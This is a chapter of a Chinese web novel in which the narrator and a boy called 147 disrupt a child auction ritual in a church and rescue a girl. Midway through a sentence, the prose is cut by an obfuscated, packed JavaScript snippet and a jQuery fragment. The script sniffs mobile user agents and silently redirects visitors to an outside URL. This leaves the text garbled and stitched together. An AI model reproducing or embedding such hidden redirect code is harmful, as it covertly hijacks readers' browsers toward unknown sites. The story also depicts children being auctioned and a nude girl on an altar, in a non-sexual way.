23. 午夜狩猎场
作品:《逃离赛博男友计划》 “蠢货,活靶子都没你显眼?”147背靠斑驳砖墙,月光勾勒出他紧绷的下颌线,他低眼看你一身雪白的造型,轻嗤。
你低头瞥见自己身上所披床单,这身装束在夜色中确实如同移动灯塔。“如果我也是畜牲的狗腿子,也许也会有黑色的新衣服。”你冷笑。
147没理你夹枪带棒的讥讽,安静凑到窗前,看着内里进行到一半的仪式。
不知是什么神奇的感应,原本安静躺在餐布上的裸身女孩在147透过窗看她的一瞬间也转动眼珠望了过来。
黑泠泠的眼褪去了望着耶稣时的悲悯神性,冷得和那些麻木的编号肉猪一样无情。
烛光将室内诡谲仪式投影在哥特式壁画上,裸身少女如同祭品般横陈在圣餐台上,银制烛台在她皮肤表面流淌着光。
这诡异的一眼让你周身顿时一凉,下意识地侧过身去避开那道视线,几乎做好了听到一声呵斥“谁在那”的准备。
……
几息之后,只有147冷淡看着你。
预料中的警报并未响起,只有夜风卷着枯叶刮擦彩窗的沙沙声。
“?”
你蹙眉,将信将疑地再度小心望进去。
那女孩还在安静望着你这边,见你再度露出眼睛来,像是看到什么有趣的东西,轻轻挑了挑眉,勾起了一边的唇角。
黑影在肃穆地吟诵着,没人注意祭品的小动作,透过摇曳的古朴烛火,你清楚地读出了她的唇语。
“笨蛋”……?
你一下冷下脸来,刚刚还扑通扑通乱跳的心脏也一道沉下来,不情不愿地重重搡着你发软的腿脚,你深深呼出一口气,嫌烦地站直身子准备回去。
却冷不防在迈出腿的前一秒被一只冰凉的手擒住腕子。
147犹疑地看看玻璃内的女孩,像是得到了什么暗示,忽然不情不愿地低声冲你道:“她喜欢你。”
“?”
你忽然觉得收容所里可能全是神经病。
看傻子一样看了147一眼,你不耐烦地伸手掰他铁钳似的手,“我不介意大喊一声后和你一起被打成肉泥扔出去。”
147神色比你还像吃了苍蝇,拧着漂亮的眉再次看了眼教堂内的女孩,随后移回脸来,板着声音。
“要是今晚交易完成她就活不成了。”
“关我什么事?”你莫名其妙地看他,随后似笑非笑地偏头露出脖颈和锁骨交界处鲜明的伤痕,“拜你所赐,告状的时候怎么没想到现在要求我?”
“……不是求你。”147忽地松开手,恢复了淡漠神色,“帮我救她,作为酬劳,我告诉你你那两个朋友的拍卖时间。”
……并不是个很可口的鱼饵,不足以让你冒险动手。
你站在原地,从上到下打量了147一番。你沉默得太久,教堂内吟颂声慢慢变了调,他的神色也变得有些焦急,沉沉看你一眼后,忽地拧眉语速很快地催促起来。
“不帮忙就快走,别耽误事儿。”
147的声音裹着冰碴,攥着你腕骨的力道却泄露焦灼。
“慈悲心泛滥的伥鬼?”你故意让尾音染上甜腻的讥讽,“不如我们做个交易——”
你用力甩开他铁钳似的手,轻声细语:“答应帮我救下我朋友我就帮你。”
“不可能。”他想也不想地拒绝。
行。你没有要和他讨价还价的意思,好笑地挑起眉梢,转头就走。
这傻孩子,还不知道自己是个什么处境。
你毫无顾忌地走出去两步,弯腰从地上捡了块小石子,含笑转身在掌心掂了掂。
既然秦狩傅本华他们活不成,你也不在乎现在就死。死前能拉这混蛋垫背并不亏。
见你去而复返,147原本松下一口气的脸再次阴沉起来,戒备地扭头看了看那块彩色玻璃,又烦躁地瞪你。
“谁也别想好过。”你一字一句无声做口型给他看,笑着作势敲窗。
“!”
如你所料,147拧眉拦下了你,只是眼神看上去凶神恶煞。
“……好,我答应你。”
147的计划缜密到叫你叹为观止,听完他语速过快的一分钟陈述后你木然看了看已经停下吟唱的教堂,“你的意思是,如果我没来帮忙的话你打算一个人火烧教堂趁乱救人?”
147说是。
你看傻子似的看他,生平第一次怀疑起自己怎么会让这种人三番两次地辖制。
从兜里掏出秦狩做的好东西,你将那银色小笛抵到唇边,轻轻吹出一口气。
骨笛触唇的刹那,147的瞳孔骤然收缩。这个素来冷漠的少年竟露出惊慌神色,修长手指如鹰爪扣住你的腕骨:“你疯了!会被抓住的——”
147怕你捣乱,伸出来想拦你的手却一下愣在原地,这人困惑地蹙眉,压低声音疑惑道:“没声?”
当然没声,这是秦狩随手送你的小物件儿,吹奏时不会发出人类所能捕捉到的声波,一直是你们用来逗鸟玩的玩具。
里面拍卖仪式不知是进行到了哪一步,烛火摇晃下那陌生女孩还目光炯炯地盯着你,黑衣人们则肃穆站立着。无声的哨响没惊动那群人类却惊起了教堂暗处安静潜伏的鹦鹉,你满意地看着蓝绿色的鸟像受了惊吓般啼鸣尖叫起来。
“怎么回事儿?这些鸟疯了吗?!”
修女被俯冲下来的鹦鹉吓到,尖叫一声后捂着脸拼命扑打,那群黑衣的买家也没好到哪儿去,惊呼声四起,一时乱作一团。
你趁乱将笛声音调再扬高了两度,鹦鹉疯得更厉害,尖叫声不绝于耳,有人躬身冲教堂大门冲去,像是打算逃出来。
“关门。”你微微一笑,看着147豹子似地冲向大门利落用散落在地上的铁索把门栓紧。
“谁?谁在外面!”刘立山拉拽着肃穆沉重的门,却只是徒劳,147站在门边冷着脸把瞳孔扫描的开门器一拳砸碎。
他用身体抵住震颤的肃穆门扉,额角青筋随着门后撞击声突突跳动,“别装神弄鬼了,我撑不了多久!”
你镇静地用雪白床单把脸遮个严严实实,侧身躲在窗边看着里面的动乱。没人顾得上处理那件商品,陌生的女孩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15113532|162665||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
裹紧桌布坐起身,手捂在胸口歪头隔着摇曳烛光看你从窗花里透出来的眼。
胆子倒是不小。
你找准机会一拳干碎面前花花绿绿的玻璃,在众人惊慌看过来的下一秒将一把白色粉末撒向空中——照旧是秦狩制品,沾上就是一身又痒又痛的肿包,来源极其简单,全是收容所随处可见的草木动物,可惜到了秦狩手里就脱胎换骨,足够一群养尊处优的真禽兽吃点苦头。
粉末洋洋洒洒若白雾,呛人又生痘,作用得极快,站在最前的几个脸上已经冒出了红疹子。
“蝰蛇!这就是你们收容所办事的态度吗?”陌生男声焦躁怒吼。刘立山听到了这边闹出的动静,再顾不上开门,匆匆拨开众人往这边跑。
“到底是谁坏事!贱人,给我过来!”他扑到窗前想抓你,层层白布掩盖下你只露出了一双眼,冲他弯起眼睛一笑,兜头就是一把白粉全数洒在他脸上。
男人惊叫一声,怪叫着歪倒下去,疯了似的抓挠着脸上红肿痘痕。
你冲那姑娘勾勾手,已经陆续有人砸玻璃往外跑了,她夹在其中跑出来应该不难。
守在收容所大门的看守们不断怒斥着往这边冲,而教堂里只有三四个收容所熟面孔,看上去像是特意避免了闲杂人等进入,结果反而方便了你们捣乱。
兴许他们也没想到顶天不过十来岁的幼崽有胆子公然违抗禁令跑出来捣乱吧。
她裹着桌布跳下供桌,弯腰避开四散奔逃的黑衣人,笑着冲你跑来。
“抓住那个孩子!”刘立山的咆哮混着鹦鹉的嘶鸣,他脸上的疱疹因愤怒胀成紫红色。
不断有人想抓住她,却被灵巧避过,至于你,仗着秦狩塞给你的白粉来一个放倒一个,等她顺利来到近前时已经没人敢靠近你了。
一把拉住她伸向你的胳膊,她借力自窗台翻下,稳稳落进你张开的怀抱,漂亮精致的脸上难免多了密密麻麻的肿包,她没去抓挠,也没惊惶失措地急喘,反而一句话不说亲亲热热地抱住你的脸吧唧亲了一口。
“小救世主,我就知道没看错你。”
?
你在混乱中难以言喻地看她一眼,不自在地将人放下。就说在收容所呆久了的都是神经病。
你拽住这神经病的手腕就往筒子楼跑。这么大的动静闹得那边也慢慢喧嚣起来,由于收容所禁令,深夜宿舍楼全部断电,因而乌漆嘛黑一片里没什么灯光亮起,方便了你们的奔逃。
黑衣的老板们陆续翻窗狼狈地爬出来,147勤勤恳恳的堵门事业结束,借着一身黑紧跟着你的脚步冲过来。
闹出这么大的动静都没开大灯抓人的打算,你一边跑一边思索。
看上去这群所谓的收养人还要点脸,并不打算抛头露面,哪怕是在理应安全的收容所内。
救下的女孩就是诗兰,那时编号148。
拍卖夜出了这么大乱子,你原以为收容所会来一次大筛查把捣乱之人揪出来,甚至你也做好了被147或者其他目睹你离开筒子楼的人举报的准备,可是出乎你意料的是,因为这件事而死的居然是刘立山。